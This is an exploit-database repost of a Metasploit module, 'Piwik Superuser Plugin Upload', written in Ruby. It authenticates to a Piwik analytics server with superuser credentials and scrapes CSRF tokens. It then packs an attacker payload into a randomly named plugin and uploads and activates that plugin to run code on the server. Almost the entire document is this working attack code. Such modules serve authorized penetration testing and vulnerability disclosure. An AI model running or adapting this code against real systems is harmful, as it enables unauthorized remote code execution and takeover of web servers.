Piwik Superuser Plugin Upload

Published
Credit
Risk
2017.02.14
FireFart
Medium
CWE
CVE
Local
Remote
CWE-264
N/A
No
Yes

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(
info,
'Name' => 'Piwik Superuser Plugin Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running Piwik. Superuser Credentials are
required to run this module. This module does not work against Piwik 1
as there is no option to upload custom plugins.
Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'FireFart' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]
],
'DisclosureDate' => 'Feb 05 2017',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Piwik', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
], self.class)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def normalized_index
normalize_uri(target_uri, 'index.php')
end

def get_piwik_version(login_cookies)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => login_cookies,
'vars_get' => {
'module' => 'Feedback',
'action' => 'index',
'idSite' => '1',
'period' => 'day',
'date' => 'yesterday'
}
})

piwik_version_regexes = [
/<title>About Piwik ([\w\.]+) -/,
/content-title="About&#x20;Piwik&#x20;([\w\.]+)"/,
/<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m
]

if res && res.code == 200
for r in piwik_version_regexes
match = res.body.match(r)
if match
return match[1]
end
end
end

# check for Piwik version 1
# the logo.svg is only available in version 1
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
})
if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
return "1.x"
end

nil
end

def is_superuser?(login_cookies)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => login_cookies,
'vars_get' => {
'module' => 'Installation',
'action' => 'systemCheckPage'
}
})

if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
return false
elsif res && res.body =~ /id="systemCheckRequired"/
return true
else
return false
end
end

def generate_plugin(plugin_name)
plugin_json = %Q|{
"name": "#{plugin_name}",
"description": "#{plugin_name}",
"version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
"theme": false
}|

plugin_script = %Q|<?php
namespace Piwik\\Plugins\\#{plugin_name};
class #{plugin_name} extends \\Piwik\\Plugin {
public function install()
{
#{payload.encoded}
}
}
|

zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/plugin.json", plugin_json)
zip.pack
end

def exploit
print_status('Trying to detect if target is running a supported version of piwik')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index
})
if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
print_good('Detected Piwik installation')
else
fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
end

print_status("Authenticating with Piwik using #{username}:#{password}...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'vars_get' => {
'module' => 'Login',
'action' => 'index'
}
})

login_nonce = nil
if res && res.code == 200
match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
if match
login_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?

cookies = res.get_cookies

res = send_request_cgi({
'method' => 'POST',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Login',
'action' => 'index'
},
'vars_post' => {
'form_login' => "#{username}",
'form_password' => "#{password}",
'form_nonce' => "#{login_nonce}"
}
})

if res && res.redirect? && res.redirection
# update cookies
cookies = res.get_cookies
else
# failed login responds with code 200 and renders the login form
fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
end
print_good('Authenticated with Piwik')

print_status("Checking if user #{username} has superuser access")
superuser = is_superuser?(cookies)
if superuser
print_good("User #{username} has superuser access")
else
fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
end

print_status('Trying to get Piwik version')
piwik_version = get_piwik_version(cookies)
if piwik_version.nil?
print_warning('Unable to detect Piwik version. Trying to continue.')
else
print_good("Detected Piwik version #{piwik_version}")
end

if piwik_version == '1.x'
fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
end

# Only versions after 3 have a seperate Marketplace plugin
if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3')
marketplace_available = true
else
marketplace_available = false
end

if marketplace_available
print_status("Checking if Marketplace plugin is active")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Marketplace',
'action' => 'index'
}
})
fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
print_status('Marketplace plugin is not enabled, trying to enable it')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'plugins'
}
})
mp_activate_nonce = nil
if res && res.code == 200
match = res.body.match(/<a href=['"]index\.php\?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(\w+).*['"]>/)
if match
mp_activate_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'activate',
'pluginName' => 'Marketplace',
'nonce' => "#{mp_activate_nonce}"
}
})
if res && res.redirect?
print_good('Marketplace plugin enabled')
else
fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
end
else
print_good('Seems like the Marketplace plugin is already enabled')
end
end

print_status('Generating plugin')
plugin_name = Rex::Text.rand_text_alpha(10)
zip = generate_plugin(plugin_name)
print_good("Plugin #{plugin_name} generated")

print_status('Uploading plugin')

# newer Piwik versions have a seperate Marketplace plugin
if marketplace_available
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Marketplace',
'action' => 'overview'
}
})
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'marketplace'
}
})
end

upload_nonce = nil
if res && res.code == 200
match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(\w+)/m)
if match
upload_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?

# plugin files to delete after getting our session
register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")

data = Rex::MIME::Message.new
data.add_part(zip, 'application/zip', 'binary', "form-data; name=\"pluginZip\"; filename=\"#{plugin_name}.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalized_index,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'uploadPlugin',
'nonce' => "#{upload_nonce}"
}
)
activate_nonce = nil
if res && res.code == 200
match = res.body.match(/<a.*href="index.php\?module=CorePluginsAdmin&amp;action=activate.+nonce=([^&]+)/)
if match
activate_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?

print_status('Activating plugin and triggering payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'activate',
'nonce' => "#{activate_nonce}",
'pluginName' => "#{plugin_name}"
}
}, 5)
end
end


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com